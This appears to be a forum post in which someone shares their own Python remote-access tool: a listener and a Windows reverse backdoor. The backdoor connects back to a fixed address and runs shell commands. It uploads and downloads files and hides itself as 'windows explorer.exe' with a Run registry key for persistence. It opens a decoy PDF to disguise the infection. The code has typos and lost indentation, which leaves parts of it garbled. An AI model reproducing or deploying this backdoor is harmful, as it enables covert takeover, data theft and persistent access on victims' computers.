Okay this is mine
Listener:
#!/usr/bin/enc python
import base64
import json
import socket
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print(“waiting for incoming connections “)
self.connection, address = listener.accept()
print((“got a connection from ” + str(address)))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == “exit”:
self.connection.close()
exit()
return self.reliable_receive()
def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] download successful ”
def read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())
def run(self):
while True:
command = input(“>> “)
command = command.split(” “)
try:
if command[0] == “upload”:
file_content = self.read_file(command[1])
command.append(file_content)
result = self.execute_remotely(command)
if command[0] == “download” and “[-] Error” not in result:
result = self.write_file(command[1], result)
except Exception:
result = “[-] Error during command execution”
print(result)
my_listener = Listener(“10.0.2.4”, 4444)
my_listener.run()
reverse backdoor:
#!/usr/bin/enc python
import socket
import subprocess
import json
import os
import base64
import sys
import shutil
class Backdoor:
def __init__(self, ip, port):
self.become_persistent()
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def become_persistent(self):
evil_file_location = os, environ[“appdata”] + “\\windows explorer.exe”
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call(‘reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “‘ + evil_file_location + ‘”‘,shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_system_command(self, command):
DEVNULL = open(os.devnull, ‘wb’)
return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)
def change_working_directory_to(self, path):
os.chdir(path)
return “[+] Changing working directory to ” + path
def read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())
def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Upload successful ”
def run(self):
while True:
command = self.reliable_receive()
try:
if command[0] == “exit”:
self.connection.close()
sys.exit()
elif command[0] == “cd” and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == “download”:
command_result = self.read_file(command[1])
elif command[0] == “upload”:
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = “[-] Error during comand execution>”
self.reliable_send(command_result)
file_name = sys._MEIPASS + “\sample.pdf”
subprocess.Popen(file_name, shell=True)
try:
my_backdoor = Backdoor(“10.0.2.15”, 4444)
my_backdoor.run()
except Exception:
sys.exit()